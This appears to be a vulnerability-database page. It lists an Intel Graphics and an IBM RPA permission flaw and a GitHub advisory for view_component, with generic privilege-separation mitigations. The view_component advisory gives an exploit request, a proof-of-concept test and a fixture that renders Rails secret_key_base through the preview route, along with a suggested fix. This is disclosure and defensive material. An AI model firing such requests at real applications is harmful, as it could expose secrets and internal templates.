Details

Insecure inherited permissions for some Intel(R) Graphics Software before version 25.30.1702.0 within Ring 3: User Applications may allow an escalation of privilege. Unprivileged software adversary with an authenticated user combined with a high complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires active user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.

Details

IBM Robotic Process Automation 21.0.0 through 21.0.7.17 and 23.0.0 through 23.0.18 could allow a local user to escalate their privileges. All files in the install inherit the file permissions of the parent directory and therefore a non-privileged user can substitute any executable for the nssm.exe service. A subsequent service or server restart will then run that binary with administrator privilege.

GHSA-7F3R-GWC9-2995

Vulnerability from github – Published: 2026-05-08 23:33 – Updated: 2026-06-08 23:34
VLAI
Summary
view_component: Preview Route Can Dispatch Inherited Helper Methods
Details

Summary

The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.

As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.

If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.

Severity: High if preview routes are externally reachable; Medium otherwise.

Affected files:

  • lib/view_component/preview.rb
  • app/controllers/concerns/view_component/preview_actions.rb
  • app/views/view_components/preview.html.erb

Relevant Code

app/controllers/concerns/view_component/preview_actions.rb:

@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)

lib/view_component/preview.rb:

example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)

app/views/view_components/preview.html.erb:

<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>

The UI only lists direct preview methods via:

public_instance_methods(false).map(&:to_s).sort

But render_args does not enforce that list before dispatching.

Exploit Flow

Example request:

GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request

Flow:

  1. my_component resolves to a valid preview.
  2. File.basename(params[:path]) returns render_with_template.
  3. render_args calls inherited ViewComponent::Preview#render_with_template.
  4. Request params provide template: "internal/secret" and locals: {...}.
  5. The preview view renders internal/secret with attacker-controlled locals.

Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.

PoC Test

This checkout already contains a PoC at:

  • test/sandbox/test/security_preview_template_poc_test.rb
  • test/sandbox/app/views/internal/secret.html.erb

The test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.

If reproducing manually, run:

bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb

Equivalent standalone test:

# frozen_string_literal: true

require "test_helper"

class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
  def setup
    ViewComponent::Preview.__vc_load_previews
  end

  def test_preview_route_can_invoke_inherited_render_with_template
    refute_includes MyComponentPreview.examples, "render_with_template"

    assert_raises(ActionController::RoutingError) do
      Rails.application.routes.recognize_path("/internal/secret")
    end

    get(
      "/rails/view_components/my_component/render_with_template",
      params: {
        template: "internal/secret",
        locals: {poc_local: "attacker-controlled-local"},
        request_marker: "attacker-controlled-request"
      }
    )

    assert_response :success
    assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo"
    assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local"
    assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request"
  end
end

Fixture template:

<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>

Suggested Fix

Only dispatch explicitly declared preview examples:

def render_args(example, params: {})
  example = example.to_s
  raise AbstractController::ActionNotFound unless examples.include?(example)

  example_params_names = instance_method(example).parameters.map(&:last)
  provided_params = params.slice(*example_params_names).to_h.symbolize_keys
  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
  result ||= {}
  result[:template] = preview_example_template_path(example) if result[:template].nil?
  @layout = nil unless defined?(@layout)
  result.merge(layout: @layout)
end

Add a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.

  "details": "### Summary\n\nThe preview route derives an example name from the URL and calls it with `public_send`. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.\n\nAs a result, inherited public methods on `ViewComponent::Preview` are route-reachable. The most important one is `render_with_template`, which accepts `template:` and `locals:`. Those values can come from request params and are later passed to Rails as `render template:`.\n\nIf previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.\n\nSeverity: High if preview routes are externally reachable; Medium otherwise.\n\nAffected files:\n\n- `lib/view_component/preview.rb`\n- `app/controllers/concerns/view_component/preview_actions.rb`\n- `app/views/view_components/preview.html.erb`\n\n\n### Relevant Code\n\n`app/controllers/concerns/view_component/preview_actions.rb`:\n\n```ruby\n@example_name = File.basename(params[:path])\n@render_args = @preview.render_args(@example_name, params: params.permit!)\n```\n\n`lib/view_component/preview.rb`:\n\n```ruby\nexample_params_names = instance_method(example).parameters.map(\u0026:last)\nprovided_params = params.slice(*example_params_names).to_h.symbolize_keys\nresult = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n```\n\n`app/views/view_components/preview.html.erb`:\n\n```erb\n\u003c%= render template: @render_args[:template], locals: @render_args[:locals] || {} %\u003e\n```\n\nThe UI only lists direct preview methods via:\n\n```ruby\npublic_instance_methods(false).map(\u0026:to_s).sort\n```\n\nBut `render_args` does not enforce that list before dispatching.\n\n### Exploit Flow\n\nExample request:\n\n```text\nGET /rails/view_components/my_component/render_with_template?template=internal/secret\u0026locals[poc_local]=attacker-controlled-local\u0026request_marker=attacker-controlled-request\n```\n\nFlow:\n\n1. `my_component` resolves to a valid preview.\n2. `File.basename(params[:path])` returns `render_with_template`.\n3. `render_args` calls inherited `ViewComponent::Preview#render_with_template`.\n4. Request params provide `template: \"internal/secret\"` and `locals: {...}`.\n5. The preview view renders `internal/secret` with attacker-controlled locals.\n\nImpact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.\n\n### PoC Test\n\nThis checkout already contains a PoC at:\n\n- `test/sandbox/test/security_preview_template_poc_test.rb`\n- `test/sandbox/app/views/internal/secret.html.erb`\n\nThe test proves that `/internal/secret` is not directly routable, but can still be rendered through the preview endpoint by invoking inherited `render_with_template`.\n\nIf reproducing manually, run:\n\n```bash\nbundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb\n```\n\nEquivalent standalone test:\n\n```ruby\n# frozen_string_literal: true\n\nrequire \"test_helper\"\n\nclass SecurityPreviewTemplatePocTest \u003c ActionDispatch::IntegrationTest\n  def setup\n    ViewComponent::Preview.__vc_load_previews\n  end\n\n  def test_preview_route_can_invoke_inherited_render_with_template\n    refute_includes MyComponentPreview.examples, \"render_with_template\"\n\n    assert_raises(ActionController::RoutingError) do\n      Rails.application.routes.recognize_path(\"/internal/secret\")\n    end\n\n    get(\n      \"/rails/view_components/my_component/render_with_template\",\n      params: {\n        template: \"internal/secret\",\n        locals: {poc_local: \"attacker-controlled-local\"},\n        request_marker: \"attacker-controlled-request\"\n      }\n    )\n\n    assert_response :success\n    assert_includes response.body, \"VC_PREVIEW_POC_SECRET=foo\"\n    assert_includes response.body, \"VC_PREVIEW_POC_LOCAL=attacker-controlled-local\"\n    assert_includes response.body, \"VC_PREVIEW_POC_REQUEST=attacker-controlled-request\"\n  end\nend\n```\n\nFixture template:\n\n```erb\n\u003cdiv id=\"poc-secret\"\u003eVC_PREVIEW_POC_SECRET=\u003c%= Rails.application.secret_key_base %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-local\"\u003eVC_PREVIEW_POC_LOCAL=\u003c%= local_assigns[:poc_local] || local_assigns[\"poc_local\"] %\u003e\u003c/div\u003e\n\u003cdiv id=\"poc-request\"\u003eVC_PREVIEW_POC_REQUEST=\u003c%= params[:request_marker] %\u003e\u003c/div\u003e\n```\n\n### Suggested Fix\n\nOnly dispatch explicitly declared preview examples:\n\n```ruby\ndef render_args(example, params: {})\n  example = example.to_s\n  raise AbstractController::ActionNotFound unless examples.include?(example)\n\n  example_params_names = instance_method(example).parameters.map(\u0026:last)\n  provided_params = params.slice(*example_params_names).to_h.symbolize_keys\n  result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)\n  result ||= {}\n  result[:template] = preview_example_template_path(example) if result[:template].nil?\n  @layout = nil unless defined?(@layout)\n  result.merge(layout: @layout)\nend\n```\n\nAdd a regression test that `/rails/view_components/my_component/render_with_template` fails unless `render_with_template` is explicitly defined as a preview example on that class.",

Mitigation MIT-1
Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
